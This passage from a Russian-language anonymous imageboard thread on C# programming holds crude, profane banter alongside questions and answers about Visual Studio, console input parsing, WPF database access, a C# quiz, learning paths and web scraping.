>>1729123
true
>>1729350
>заливание в рус.яз англицизмов.
просто ты долбоеб и перхоть подзалупная. Не выебывался, а написал бы уже explicit, раз ты так любишь ангельский.
Странно, что ты задаешь вопросы на русскоязычной борде, а не на reddit/4chan/SOF. Тут твоими аглицизмами тебе по губам проведут и об щеку вытерут
Аноним 21/06/20 Вск 07:31:17 172940987
>>1724425 (OP)
There are, of course, benefits and drawbacks to this kind
of a setup, which we’ll discuss in Chapter 40, but it turns out to be a good idea for everything except low level stuff, like an operating system or a device driver. C# is a bad choice for things like that. (Try C or C++ instead.)
Тут говорится о том, что Сишка это хуёвый язык для операций относительно системы компутера или о том, что это хуёвый язык для новичка?
Аноним 21/06/20 Вск 09:29:34 172943188
>>1729409
>except low level stuff, like an operating system or a device driver
причем тут новичок? Автор правду написал, что низкоуровневые задачи типо драйверов или ковыряние в ОС не решается с помощью C#
Аноним 21/06/20 Вск 10:08:14 172943889
Аноним 21/06/20 Вск 10:35:29 172944490
>>1729438
> Once the AOT compiler was far enough developed, the team then started to code the kernel. This was met with long periods of inactivity and few active developers due to lack of interest in unsafe kernel programming.
Ядро пришлось делать унсейф, так что шарповики обосрались и слились, высрав какой-то 0.0.1.
Аноним 21/06/20 Вск 12:27:30 172948591
hqdefault.jpg 8Кб, 480x360
480x360
Аноним 22/06/20 Пнд 02:31:27 173023792
Анон, как лучше всего подключать базу данных Microsoft SQL для юзанья с WPF?

А то обычно в уроках через код (обычно так делают во всех уроках)

Но тут увидел что базу можно добавлять через solution explorer. А потом увидел что в студии есть источники данных
https://docs.microsoft.com/ru-ru/visualstudio/data-tools/add-new-data-sources?view=vs-2019

Как лучше?
Аноним 22/06/20 Пнд 11:16:23 173039393
Сап, есть ли интернет уроки типа CodeAcademy, но где предложат пройти тест и выявить плохо выученные темы, а затем их выучить, вместо прохождения всего курса с полного нуля?
Аноним 22/06/20 Пнд 11:43:42 173040594
>>1730393
есть, называется собеседование
Аноним 22/06/20 Пнд 12:10:40 173043195
Аноним 22/06/20 Пнд 12:49:08 173047896
Без названия.jpg 7Кб, 226x223
226x223
>>1730431
у препода подойди и спроси, чтобы он тебя погонял по вопросам, что ты там в своей шараге проходил
Аноним 22/06/20 Пнд 19:38:28 173079197
Хм. Меня f# заинтересовал.
Кто-нибудь использует в реальных проектах? Для еще чего кроме обработки данных и описания моделей он может быть удобен?
Аноним 22/06/20 Пнд 20:01:41 173081198
>>1730393
Идешь на кодворсы и решаешь задачки. В процессе поймешь, что на хорошо выучил, а что - хреново. Плюс задачки там прикольные на самом деле, забавно позалипать, после очередного дня крудошлепанья и поймать себя на мысли: А не все еще забыл-то.
Аноним 22/06/20 Пнд 20:12:10 173081899
>>1730478
Я шарп лучше препода знаю.
Аноним 22/06/20 Пнд 22:42:33 1730915100
>>1730818
Ну ок.
Давай я поспрашиваю.
1. Ниже, какой результат выведется в
static void swap<T>(T a, T b){
T temp = a;
a = b;
b = a; }
static void Main(){
int a = 10;
int b = 20;
swap(a, b);
Console.WriteLine(a);
Console.WriteLine(b);}

2. Вот код класса. Какие в нем есть проблемы? Как их исправить?
public class Class1 : IDisposable{
private CancellationTokenSource cts = new CancellationTokenSource();
...
public async Task LongRunTask(){
while(!cts.Token.IsCancellationRequested){
...
}}
public void Dispose(){
cts = null;
}}

3. Ниже код. Что выведется в конcоль:
int i = -1;
Console.WriteLine(string.Join(",", BitConverter.GetBytes(i)));

4. Ниже код. Что в
try{
Console.WriteLine("A");
throw new InvalidOperationException();
}
catch(InvalidOperationException ex){
Console.WriteLine("B");
}
catch(Exception ex){
Console.WriteLine("C");
}
finally{
Console.WriteLine("D");
}

5. Ниже код. Что в коносль?

public interface I {
public void Foo();
}
public abstract class A : I {
public virtual void Foo() => Console.WriteLine("A");
}
public class B : A{
public override void Foo() => Console.WriteLine("B");
}
public class C : A{
public new void Foo() => Console.WriteLine("C");
}
class Program{
public static void Main(){
A some1 = new B();
A some2 = new C();
List<I> lst = new List<I> { some1, some2 };
foreach (var i in lst) i.Foo();
}}
Почему? Как исправить не меняя внутренности классов?

6. Ниже код чему будет равен y после выполненения.
object x = new object();
int y = 100;
while(x!=null && --y>10)
{
if(y==50)
x = null;
}

Ну, набросал то что было на первом курсе. Довольно примитивная хуйня.
Правила простые. Дал ответ - проверил. Отетил правильно +1 балл, неправильно -2 балла. Полез сначала проверять перед ответом -5 баллов. Если сумма меньше 10 - читай CLR via C#. Если меньше нуля - иди на метанит.


Аноним 22/06/20 Пнд 23:31:36 1730933101
>>1730915
>Если сумма меньше 10 - читай CLR via C#
>Отетил правильно +1 балл
>дает 6 вопросов
Ебать студентота тупая пошла, земля пухом

P.S. Вопросы ака - задрочи на собесе. Я когда то вызубрил такую же залупу, но интервьер задал другие вопросы. Я конечно же обосрался на них и предложил - давай теперь я. В итоге обосрались мы оба. А я получил работу. Fin
Аноним 22/06/20 Пнд 23:43:39 1730944102
>>1730933
> Ебать студентота тупая пошла
Кто-то шуток не понимает.
> Вопросы ака - задрочи на собесе
Хуй знает, обычные вопросы на знание синтаксиса. Примерно такие были чтобы допуск к экзамену на первом курсе получить. Ну и да, я как-бы работаю уже 3 года, а ВУЗ 2 года как окончли. Не надо тут про студентоту рассказывать.
Аноним 22/06/20 Пнд 23:55:09 1730953103
>>1730944
всегда проигрываю с такой хуйни на собесах типо
string.Join(",", BitConverter.GetBytes(i)));
или про алгоритмы сортировочки и поиска. Самое главное не зарофлить с каменного ебала интервьера
Аноним 23/06/20 Втр 00:43:14 1731011104
Знаете где еще методы с большой буквы? В дельфи.
Аноним 23/06/20 Втр 01:50:21 1731079105
Пацаны что делать если студия лагает очень сильно лагает?
Аноним 23/06/20 Втр 01:51:30 1731080106
>>1731079
Пришло то самое время.
Аноним 23/06/20 Втр 01:55:35 1731082107
>>1731079
Следи за запущенными процессами. Я вот один раз не следил и у меня в фоновом режиме висело порядка 1к процессов хрома, которые жрали всю память и нагружали процессор до соточки.
Аноним 23/06/20 Втр 06:12:05 1731161108
>>1731079
Ставь VSCode. Серьезно. Студия, по сути, нужна только когда ты отлаживаешь, для написания VSCode намного лучше.
Аноним 23/06/20 Втр 07:43:33 1731179109
Аноним 23/06/20 Втр 15:14:12 1731562110
>>1731079
SharpDevelop используй, летает на калькуляторах, не лезет каждый день обновляться, правда не поддерживает последние версии C#, но кто их использует?
Аноним 23/06/20 Втр 17:05:21 1731766111
>>1731562
>не поддерживает последние версии C#, но кто их использует?
Как? Вы же говорили у вас нет легаси.
Аноним 23/06/20 Втр 17:35:00 1731801112
>>1731766
Я говорил, что ебал твою мать. Она рассказывала о твоём раке простаты. Кстати, перезвони ей, скажи, что сегодня вечером опять зайду.
Аноним 23/06/20 Втр 18:37:03 1731882113
Аноним 23/06/20 Втр 18:41:39 1731885114
>>1731882
Там разве есть какой-то подвох?
Аноним 23/06/20 Втр 18:42:35 1731887115
>>1731079
Студия, мать твою, это дебагер. Никто в здравом уме в ней код писать не будет, блядь. Тебе дали нормальные редакторы, тебе дали ебучий VSCode, Райдер. Нет, блядь будем на этом перегруженном говне кодить.
Оно годится только когда у тебя реально маленький проект, ну 3-4 строк и это чисто шарп, без всякой JS-хуйни. Иначе - соси бибу, оно будет поперживать и тормозить и хуй что сделаешь.
Аноним 23/06/20 Втр 19:02:33 1731916116
Аноним 23/06/20 Втр 20:29:20 1732042117
>>1731885
Ну, если ты понимаешь, что в случае если бы было while(--y>10 && x != null), был бы результат 49, то особого подвоха нет.
Аноним 23/06/20 Втр 20:35:20 1732044118
>>1732042
Тому що дальше && при проверке условия он бы не ушел. Прикольно.
Аноним 23/06/20 Втр 21:16:49 1732079119
>>1731887
Проиграл с этого смузихлеба, который купил себе ноутбук вместо станционарного компьютера, а теперь сосёт хуй и вынужден кодить в обрубках, а не полноценной IDE.
Аноним 23/06/20 Втр 22:09:34 1732144120
.png 2Кб, 437x65
437x65
>>1732079
Наверное 24гига и i7 5 летней давности это мало, чтобы, блядь, код писать и подсвечивать и иногда по ссылкам прыгать. Странно только что vs code с миллиардом, блядь, расширений работает без тормозов, на проектах в несколько раз больше тех, на которых студия уже начинает вызывать дискомфорт при работе. Даже не знаю с чем это может быть связано, уж точно не стем, что ебучая говностудия в 2020м все еще 32 битная, при том что она с ходу 2 гига на среднем по размеру проекте сжирает.
Аноним 23/06/20 Втр 23:25:58 1732216121
>>1732144
У меня на среднем ноуте со студией, в которой подгружено с сотню проектов и основным проектом в котором содержится совокупно под полторы тысячи строчек кода, 0 проблем с производительностью. Стартует за секунды, запускает дебаг почти мгновенно.
Аноним 23/06/20 Втр 23:28:59 1732221122
>>1732144
Конечно, конечно мы тебе верим, долбоеб, который хочет сказать, что говно запускаемое в браузере (Electron) и написанное на жопаскрипте, работает быстрее, чем программа написанная на C++
Аноним 23/06/20 Втр 23:38:02 1732231123
>>1732221
Так на С++ можно очень обосраться с памятью и перфомансом, если криворукий, а жс такого говна не позволит и оптимизирует все в виртуапльной машине.
Аноним 23/06/20 Втр 23:40:24 1732234124
Собираюсь вкатиться в си шарп. До этого не изучал ни один язык программирования. Знать математику для этого языка необходимо? Английский нужен для него, и на каком уровне, если нужен? Расскажите, какие подводные есть. С меня как всегда
Аноним 23/06/20 Втр 23:54:43 1732245125
>>1732234
Если ты для себя решил этим заняться, то похуй на матан и на инглиш. А вот логическое мышление и хорошая память тебе точно не помешают. Инглиш удобен, потому что на нем больше всего учебных пособий и видосов. С другой стороны до каких-то пор можно обходится русскоязычным контентом.

Смотри видосы, читай книжки, гугли, быдлокодь, когда начнешь хоть что-то понимать. В любом случае - это дистанция на годы, скорее всего сам все поймешь, успеешь только совершить несколько шагов.
Аноним 24/06/20 Срд 00:10:47 1732253126
>>1732231
>если криворукий
Ну да, только таких в топ IT компанию и берут.
>а жс такого говна не позволит
Позволит и будет молча сжирать очередной гиг оперативки и десяток процента процессорного времени.
Аноним 24/06/20 Срд 00:17:43 1732255127
Почему в шарпе нету одной цельной команды для консольного ввода, на подобие scanf или cin?
Аноним 24/06/20 Срд 00:25:54 1732260128
>>1732234
> Знать математику для этого языка необходимо?
Нет ни одного ЯП, где знать математику необходимо. Другое дело, что для решение задач она часто полезной оказывается.
> Английский нужен для него, и на каком уровне, если нужен?
Нужен как и для любого другого языка. Минимальный уровень - свободно читаешь документацию и можешь пересказать что там было написано.
> Расскажите, какие подводные есть.
Работы мало, требования для вката не самые низкие. Очень много неочивидной хуйни. Большая часть примеров что ты найдешь в интернете предполагает, что ты либо жаву либо си знаешь и писал что-то комерческого уровня. Да, еще куча пидрил говорит что знать весь фреймворк не обязательно, дескать пользуйся тем что нужно, только блядь такой подход приводит к тому, что ты не всегда знаешь что же там есть, пилишь свой говновелосипед, а оказывается, что решение есть в фреймворке и оно охуенное, т.е. таки надо выучить фреймворк, помимо языка.
Аноним 24/06/20 Срд 01:09:05 1732277129
>>1732255
Что ты под "одной цельной команды" подразумеваешь?
Если хочешь писать:
Console.ReadLine()/Console.Read()
Без Console., то напиши директиву using вот так:
using static System.Console;
И можно будет писать:
ReadLine()/Read()
Аноним 24/06/20 Срд 01:46:32 1732297130
>>1732277
Я хочу, чтобы в любую переменную в шарпе можно было ввести данные одной командой без конвертации строки в нужный тип и разведения на хуй не упавших лишних строковых переменных для этой самой конвертации.
Чтобы можно было делать так
int a;
a = Console.Readline();
а не вот такую вот хуйню городить
string stroka
int a = 0;
a = Convert.ToInt32(str = Console.ReadLine());

И кстати, какого хуя шарп обязывает меня всегда и везде при объявлении нестроковой переменной задавать ей какое-то начальное значение, даже если она всё равно его получит во время компиляции? Может, я не хочу? Почему тогда строке можно не давать начального значения? А?!
Аноним 24/06/20 Срд 01:54:03 1732301131
Я вот учился в ВУЗе и мне говорили, что использовать статические классы в шарпе - зашквар. Вот я и не использовал. Ну так вот. Но вот я решил свой проектик делать, составил сам себе ТЗ. И я стал себя ловить не мысли, что часть некой логики же все равно было бы удобнее в статический класс запихнуть.
Скажем, вот у меня есть настройки приложения, я хочу чтобы их было можно менять в произвольный момент времени и это отражалось на всю программу. У меня есть два пути - сделать сложную ООП хреновину с менеджерами настроек, контроллерами и прочим, могу сделать синглтон, который, по сути будет тем же статическим классом, а могу ебануть статический класс AppSettings, в котором добавлю событие изменения настроек на которое будут подписываться те кому надо и изменять свойства в зависимости от настроек. Где я проебался? Что я упускаю? Вроде же это как раз KISS и все такое.
Аноним 24/06/20 Срд 01:56:04 1732304132
>>1732297
int a = int.Parse(Console.ReadLine());

А если как то чел посоветовал, то вообще:
int a = int.Parse(ReadLine());
Аноним 24/06/20 Срд 02:00:17 1732306133
>>1732297
Сделай варпер. Делов-то.
public static class Halpers{
public static int ReadInt => int.Parse(Console.ReadLine());
public static string ReadString => Console.ReadLine();
}

Вынеси это в свою библиотеку и потом просто:
int a = Halpers.ReadInt;
string b = Halpers.ReadString;
Аноним 24/06/20 Срд 02:18:49 1732319134
Аноним 24/06/20 Срд 02:25:55 1732322135
>>1732319
Строгая типизация, братан ¯\_(ツ)_/¯
Аноним 24/06/20 Срд 02:32:03 1732323136
>>1732322
В крестах или шарпе? В крестах то она строгая.
Аноним 24/06/20 Срд 03:12:35 1732331137
.png 17Кб, 406x600
406x600
>>1732319
В любом реальном продукте тебя считывать/записывать с консоли в 99.9% случаев не нужно будет.
Плюс, твой cin - такой же варпер вокруг потока ввода, внутри которого лежит перегрузка оператора битового сдвига, в шарпе дизайнеры решили ограничить возможности перегрузки операторов и такой свободы как в плюсах тебе не дают, и ИМХО это правильно.
Блядь, как же сука охуенно на первом курсе-то было, когда под видом си нам давали еще огрызки плюсов, и сука вот я читаю книгу про си, там написано >> - оператор битового сдвига вправа, ну, это понятно, но какого хуя если он перед этим самым cin стоит я записываю в переменную-то? И вообще, что блядь за cin такой сука. Хорошо хоть после первого курса нам нормального препода дали, который мало того что на шарпах учил, так и всю эту хуйню объяснил и когда на третьем снова начались плюсы, но уже у нормального препода, вся эта хуйня вопросов не вызывала.
Аноним 24/06/20 Срд 03:13:35 1732332138
>>1732323
Почему так в шарпе понятно - ReadLine() возвращает string. Поэтому для инта надо парсить полученную строку. Лень гуглить этот процесс для крестов. Хитрая перегрузка? Замуты с обжектом?
Аноним 24/06/20 Срд 03:15:56 1732334139
>>1732332
Просто для каждого типа перегрузили. Попробуешь из консольки считать json чтобы сразу десерилизовался в объект и пизда тебе.
Аноним 24/06/20 Срд 03:16:33 1732335140
>>1732334
Для каждого стандартного
поправочка
Аноним 24/06/20 Срд 03:21:33 1732337141
>>1732334
Спасибо, что разжевал. Я так и понял из этого поста >>1732331, что это какая-то костыльная перегрузка, по сравнению с шарпом.
Аноним 24/06/20 Срд 14:52:09 1732591142
https://ideone.com/R9VWiP
Вот допустим, я хочу сделать коносольную игрушку. Вот пример того как я это примерно представляю
Ну и в чем суть, я не совсем понимаю, как без доступа к миру предполагается что некий эктор должен знать что делать, кроме как изменять свое состояние? А как должно контролироваться, что эктор не выйдит за границы мира? Ну, просто допустим, у в методе TickAction напишу логику, типа это яблоня, каждые 20 тиков оно может яблоко произвести, таким образом увеличивая число яблок на себе. Как мне сделать так, чтобы потом кто угодно мог подойти к яблоне и сорвать яблоко? Я не свовсем это понимаю.
Аноним 24/06/20 Срд 15:40:50 1732619143
>>1732591
Игровое поле - двумерный массив чаров, адресное пространство x и y. Существа - экземпляры класса с полями текущаяПозиция, новаяПозиция. Позиция моба - адрес в двумерном массиве. Прежде чем присвоить новую позицию мобу, проверяешь пару значений на соответствие адресному пространству массива.

Существо может "осматриваться" вокруг себя занося в одно из личных полей список всех адресов, рядом с которыми находится. Может проверять адреса вокруг на символы, занесенные в двумерный массив. А может проверять эти адреса на соответствие значению полей других мобов/объектов игрового мира текущаяПозиция. Если совпадает - там кто-то есть, надо убегать или взаимодействовать.
Аноним 24/06/20 Срд 17:43:50 1732737144
>>1728619
может с питона начнешь ?
Аноним 24/06/20 Срд 19:09:01 1732847145
>>1730915
1. 10 20 ибо не ссылочный тип. Переебало бы, если бы через реф аргументы передавалось.
2. Три точки внутри класса?
Ну cts станет нулом при диспозу и нуллрефернс будет. Еще что-то?
3. Хуй его знает.
4. A B D
5. B A ? Исправить? Вызывать С.Фу() без приведения.
6. 50

Мимо погроммист.
24/06/20 Срд 19:42:24 1732881146
>>1732847
> 10 20 ибо не ссылочный тип.
Уволен. Со ссылочными типами будет тоже самое.
Аноним 24/06/20 Срд 20:45:43 1732954147
>>1732881
Ну да... Ну ты тоже пони что я имел ввиду.
Аноним 25/06/20 Чтв 01:28:32 1733190148
Почему нигде не получается нормального ответа найти на то как делать установщики для .net core приложений? Не запихивать же просто в архив то что опубликовал в папочку? Да и даже так, у пользователя может СУБД есть и там оно все настроено и нужно имя-пароль для того чтобы создать базу данных для приложения, не заставлять же его лезать в файлик конфигурации, чтобы он сам там настраивал все, было бы правильнее, чтобы при установке это дело настраивалось.
Аноним 25/06/20 Чтв 03:24:49 1733237149
>>1733190
Потому что ты гуглить не умеешь. Я даже видео наше двухчасовое в котором пошагово показывают как делать инсталляторы.
Придется тебе через WPF/WinForms делать собственный, это не так уж и сложно.
Аноним 25/06/20 Чтв 08:24:06 1733290150
анон, подскажи. вот есть база данных в MS Access. Есть прога через WPF. подключаюсь к базе акксеса через OleDb

теперь собственно вопрос, для программирования нужно ли чтобы стоял сам офис? или оно спокойно будет работать с базой без офиса (ну там как просто с файлом)?

Просто как получилось - на работе есть лицензионный офис. Не успеваю со сроками, хочу на выходных дома поработать с кодом (удаленный стол - говно решение и не удобно).
Но дома нет лицензионного офиса, взломанное говно также не хочу ставить (и вообще не хочу ставить)

Мне с базой не нужно работать - я просто пишу фронтенд над данными из нее. Структура таблиц у меня в отдельной доке, так что мне даже открывать базу не надо
Аноним 25/06/20 Чтв 12:19:16 1733470151
>>1724425 (OP)
сап, погромисты, мне нужно сделать кастомный генератор контекста подключения к БД, чтобы при генерации модели из БД контекст выглядел так, как я скозал, но пробема вот в чём: у entity framework DBContextGenerator доступен только для Pro версии VS, а на моей галере такого ещё не завезли, сидим на community, есть какие-то способы решения проблемы?
Аноним 25/06/20 Чтв 12:20:31 1733472152
Аноним 25/06/20 Чтв 12:28:39 1733479153
>>1733472
спс.
Ну гугл упорно менял запросы на "как подключить access"... А читать все эти сотни статей в поисках одной строчки... Всеже проще на дваче спросить
Аноним 25/06/20 Чтв 19:06:38 1733846154
Блин, я чет не догоняю. Смотрите, я поставил райдер и он мне говорит что половину моих методов хорошо бы в статичные переделать. Но ведь блин, как я понимаю в этом случае будет создан статичный объект, который так и будет все время висеть просто не имея доступа к остальным методам/свойствам класса. Или я что-то не так про статику понимаю? Поясните, если не сложно.
Аноним 25/06/20 Чтв 19:25:51 1733864155
Наверное глупый вопрос. Но что считается более правильным подходом в плане разбиения по папочкам? Просто смотришь одни репозитарии, там разделяют как-бы по близости решаемой задачи; смотришь другие, там люди по паттернам, типа: Controllers, Views, Builders, etc. А кто-то вроде в проектикие с нормальным числом звездочек просто в одну папку все складывает. Вот и как решать как организовывать код проектика?
Аноним 25/06/20 Чтв 21:10:40 1733959156
Аноним 25/06/20 Чтв 21:12:42 1733964157
>>1733864
Хуй его знает.
По привычке группирую по паттернам. Но это зло.
Feature Folder мабуть краще.
Аноним 25/06/20 Чтв 23:25:09 1734042158
>>1733864
По логике разбиваешь и всё. Что тут сложного? Ты же для удобства это делаешь, как ты будешь в каше из классов определять что к чему принадлежит и что с чем связано логически? Все общие классы для приложения оставляешь в корневой папке, что-то более конкретное кидаешь по отдельным папкам.
Аноним 26/06/20 Птн 02:12:44 1734131159
image.png 171Кб, 316x972
316x972
анон, как называется эта панель? (такая еще в Microsoft Access есть) - может сворачиваться влево, при нажатии кнопок выпадают подпункты этой кнопки)

Как такую сделать с WPF, без велосипеблядства? может где на гитхабе есть готовое?
Аноним 26/06/20 Птн 02:58:41 1734156160
Аноним 26/06/20 Птн 07:40:15 1734227161
Смотрите, я вниманиеблядь и мне скучно просто сидеть в своей конторе и делать программы, которые никто почти и не видит. Вот. Хочу замутить канал на ютубе с уроками по шарпу. Но я сам всего год опыта работы имею. Нормальная ли это идея? Кто-нибудь из местных такое делал? Может быть идей для первых видяшек подкините? А то не хочется скучные лекции уровня вуза с простым пересказом того что есть в книгах.
Аноним 26/06/20 Птн 08:42:11 1734259162
>>1734227
щас тут набегут моралисты и начнут доказывать что такие недоучки учителя не нужны.. но я вот что тебе скажу - делай.

Это тебе же будет полезно - есть такая поговорка "лучший способ изучить и понять тему, это попытаться объяснить эту тему кому-то другому". Когда начнешь этим заниматься на серьезном уровне, набьешь и себе опыта.
Аноним 26/06/20 Птн 08:53:51 1734266163
>>1734227
>Хочу замутить канал на ютубе с уроками по шарпу
Очередной канал по шарпу, прошу заметить.
>программы, которые никто почти и не видит
Видео твои тоже почти никто не увидит.
>идей для первых видяшек подкините? А то не хочется
А сами виде за тебяя не сделать?
Аноним 26/06/20 Птн 10:25:08 1734323164
На ксамарине можно вызвать любую c++, либу? Или надо перекомпилировать под shared? Автор либы про какой-то специальный компилятор говорит.

Нужен детект nsfw контента, на дотнете нихуя нет, js не запустишь, питон тоже. Нашел какую-то китайскую библиотеку, но она на плюсах
Обещают 80 мсек на изображение, что очень даже хорошо
Аноним 26/06/20 Птн 12:26:28 1734387165
Аноним 26/06/20 Птн 13:02:36 1734414166
>>1734227
Чому нет, делай. Буду твоим постоянным зрителем. Только техническую часть не зафейли. Я имею в виду звук, картинку, оформление.

Можешь начать с примитивщины. Хотя на самом деле и так на каждом втором тематическом канала на ютубчике лежит видос "Шо такое массив", "Шо такое переменные" и тд. Так что сомнительно это. С другой стороны аудитории нравится "старт с нуля" под руководством нового ментора, который уж точно приведет своих подопечных к новым вершинам мастерства в программировании.
Аноним 26/06/20 Птн 13:07:48 1734417167
15916029310090.png 848Кб, 780x864
780x864
Вкатываюсь 4 месяца и параллельно мониторю вакансии. Какого хуя они уменьшаются? Осенью же .нет5 будет.
Как бы не пришлось на жабу уползать, еще и батя через 3 месяца выкидывает с хаты.
Аноним 26/06/20 Птн 13:28:43 1734428168
>>1734417
Где живешь? У нас в городе 1/2 вакансии висят как до короны, в апреле было тупо 0
До какого уровня дошел за такой срок?
>>1734227
> Хочу замутить канал на ютубе с уроками по шарпу.
А ты сам хоть в раз жизни пользовался видеоуроками? Это же медлен-н-но. Может, у тебя есть какая-то фишечка, которая выделит тебя среди толпы инфоцыган?
> Но я сам всего год опыта работы имею.
Я тоже. В свободное время изучаю фронт, cs и иностранный язык нихуя не продуктивно
> Нормальная ли это идея?
Анон, не то чтобы я тебя дизморалил. Хочешь – пробуй. Но выхлоп сомнительный, как по мне
Аноним 26/06/20 Птн 15:45:05 1734553169
>>1734428
>А ты сам хоть в раз жизни пользовался видеоуроками?
Ну к примеру так перекатывался на шарп. Я раньше был сиплюсплюснутым, решил перекатиться, но читать мануалы по шарпу было так лень... Поэтому просто пошел в ютуб и стал смотреть что интересно
Аноним 26/06/20 Птн 16:17:09 1734588170
>>1734553
>>1734428
сейчас бы судить по источникам информации, эх. Какая хуй разница, хоть по шрифту Брайля учить, главное чтобы мог решать задачи бизнеса. Какие же двачеры убогие
Аноним 26/06/20 Птн 16:45:51 1734615171
>>1734553
Скучно смотреть как пчел что-то в иде пишет, не имея возможности скопировать, не имея автотестов под задачи. Ещё говорят все как один медленно, ставить надо 1,5 ускорение. У тебя был опыт в языке из семейства С, а значит, шарп нормально зайдет, можно просто смотреть. Уроки для нулевых – это другое
Сам Троелсена прочитал процентов на 40, потом Рихтера моментами прочитал. Потом на ulearn сидел – там после каждого занятия задачи с автопроверкой – это норм. А дальше ходить по собесам, писать петпроекты, изучать асп, паттерны и все остальное
>>1734588
Да ты можешь хоть на глиняных дощечках клинописью преподавать, только кому оно нахуй усралось
Аноним 26/06/20 Птн 16:51:48 1734623172
>>1734615
причем тут преподавать к изучать? Кому то лучше видосики смотреть, кому то книги читать. Главное, чтобы результат был. Найдутся задрочи, которым и то не так и так не так. Сразу вспоминаю долбней, которые переворачивали мышки и зазубривали хоткеи в IDE, чтобы "КАК ХАЦКЕР, С ОДНОЙ КЛАВОЙ"
Аноним 26/06/20 Птн 17:36:53 1734656173
Аноним 26/06/20 Птн 17:57:27 1734669174
Есть сайт инфу с которого я хочу спарсить, но вот проблема он ее подгружает как-то хитро через javascript/ajax (минимизированный скрипт на 1 млн символов), если тупо загрузить сайт через restsharp, webclient, httpclient, то будет страница без нужной мне инфы.
Так же по мере скроллинга сайт подгружает инфу которую я хочу спарсить.
Каким образом можно спарсить такую вещь?
Если через отладку браузера смотреть, то видно что в ответ сайт присылает нужный мне json, но вот как получить ссылку на этот json через код я без понятия, ссылка на него состоит из каких-то хешей явно и длиной в 1000+ символов.
Аноним 26/06/20 Птн 18:19:59 1734688175
>>1734669
Кидай ссылку на сайт.
Аноним 26/06/20 Птн 18:26:30 1734692176
>>1733959
пакет по ссылке работает только для .net core cli, что мне не подходит
Аноним 26/06/20 Птн 18:26:48 1734693177
Не шарю за энтерпрайз, аббесните, в чём суть ASP и для чего конкретно он нужен? Это просто веб-дополнение к .NET?
Аноним 26/06/20 Птн 18:33:44 1734700178
>>1734623
Ясно)
>>1734669
Посмотри в браузере, какие xhr идут к сайту. Вообще, тема изъезжена, найди какой-нибудь мануал да скопипасти. Типа "парсинг spa c#"
>>1734693
Удобно делать mvc, webapi
Аноним 26/06/20 Птн 18:38:52 1734705179
>>1734669
В глаза ебусь, не получается запросы повторить? В чем проблема длинной ссылки?
Присоединяюсь к анону выше, показал бы ссылку на сайт, интересно
Аноним 26/06/20 Птн 20:08:25 1734767180
Я чет обходил стороной blazor, но вот создал ради интереса стандартный проектик и блин, прикольно же. Не дропнут ли майки технологию? Хочется попробовать уломать коллег попробовать, а то сишники в шарп с трудом въезжали и для них ЖС это пиздец как чуждо, а фронтендеров которые шарят за все это, для нашей команды нанять - дорого.
Аноним 26/06/20 Птн 20:12:20 1734777181
>>1734767
Либо wasm заставлять грузить клиента хуй кто пойдет, только если не дашборда для своих
Либо держать с каждым клиентом канал и слать изменения по нему. Я не знаю, сколько соединений gRPC выдержит один типичный серв. Не подскажешь цифры?
Аноним 26/06/20 Птн 20:20:02 1734781182
>>1734777
Ну, в как раз дашборда для своих, лол.
Аноним 26/06/20 Птн 20:41:51 1734792183
>>1724425 (OP)
приветствую рабочий класс!
с октября изучаю шарп (видосики, практика). на карантине прочитал "Fundamentals of computer programming with C#" на английском. у меня одно желание- вкатиться наконец в IT в ДС2 в идеале с дальнейшей релокацией в северную украину (канаду). помимо шарпа знаком с SQL, делаю взаимодействие БД с клиентским приложением как пет-проект. что посоветуете освоить дабы вкатиться?
Аноним 26/06/20 Птн 21:03:40 1734806184
>>1734792
Чтобы вкатиться, надо, блядь, показать что ты задачи решать умеешь, причем быстро и без лишних усложнений.
Если придумать не можешь, вот тебе идеи:
1. SMTP-сервер
2. Программа учета времени(усложненная версия туДу листа). При добавлении однотипных задач, ты высчитываешь коэффицент ошибки и выдаешь примерное время завершения задачи, на основе данных, которые получил до этого(для простоты можешь среднеквадратичным отклонением пользоваться), к этому прикручиваешь веб-интерфейс + api для сторонних приложух.
3. Библиотека UI-элементов для коносли. Очивидно, она должна быть работать с мышкой, уметь в drag'n'drop, быть кроссплатформенной.
4. IRC-сервер поддерживающий кроссерверную передачу сообщений. Т.е. клиент может быть подуключен к твоему серваку, но они сервера объединяюстя в сеть и если получатель есть на другом - ты передашь сообщение ему.
5. Игрушка. Простая мульиплеерная 4X стратежка, с ресурсами и глобальными событитиями, которые может генерировать сервер.
6. Асинхронный TCP-сервер с возможностью расширения под любой протокол без лишних телодвижений. Т.е. твой сервер - канал связи, а пользователь библиотеки может просто впихнуть туда свой протокол обзщения, он не должен знать как у тебя прием соединений ведтся, не должен думать о том, какой таймаут и прочее, не знает ничего про то как ты собираешь сообщения, не знает про буфферы и прочую срань, он просто имплементирует интерфейс IProtocol и все само сабой должно работать, хоть он туда HTML впихнет, хоть SMTP, хоть свой придумает.
Если хотя бы что-то из этого будет у тебя на гитхабе, и ты сможешь продемонстрировать работу и код, то вкатиться не составит особого труда куда угодно. Причем сразу на должность мидла.{/SPOILER]
Аноним 26/06/20 Птн 21:04:08 1734807185
>>1734806
Блин, пьяный я, проебал разметку. Грустно(((
Аноним 26/06/20 Птн 22:57:28 1734879186
>>1734792
> с дальнейшей релокацией в северную украину (канаду).

Вышка есть? Нет? Тогда до свидания, никому ты со своим пед-проектом там не нужен.
Аноним 26/06/20 Птн 23:58:24 1734924187
>>1734879
Вышка в рашкке говно! Я там выучусь
Аноним 27/06/20 Суб 08:00:16 1735042188
Приветствую
Столкнулся с низкой производительностью OpenCV (в частности matchTemplate)
Очень сильно грузит процессор, и скачет память во время работы
У кого нибудь был опыт сравнения OpenCV с альтернативами в плане производительности? (Accord.NET например)
или может быть кто то знает более производительные альтернативы?
Аноним 27/06/20 Суб 11:30:04 1735093189
>>1734924
>Вышка в рашкке говно!
Тебе-то откуда знать, если у тебя её нет?
Аноним 27/06/20 Суб 12:04:21 1735104190
image.png 32Кб, 740x207
740x207
image.png 13Кб, 649x204
649x204
image.png 19Кб, 850x214
850x214
Сап пр. Есть одна БД. Надо составить запрос который связывает таблицы "Болезни" и "Лекарства" по полю "Код лекарства", "Код лекарства 1", "Код лекарства 2" и "Код лекарства 3"). БД уже заполнил

С помощью LINQ2SQL я наговнокодил два класса которые связаны с БД.
С помощью LINQ попытался связать две таблицы(пик1) и прихуярить к datagridview. Я знаю, что в коде я беру названия для препаратов из одной и той же хуйни, но я не знаю как по другому. Поэтому и пишу сюда

Вместо нужной хуйни у меня получается пик2.
Вот(пик3, там значения разные как раз таки) правильные значения из таблицы.

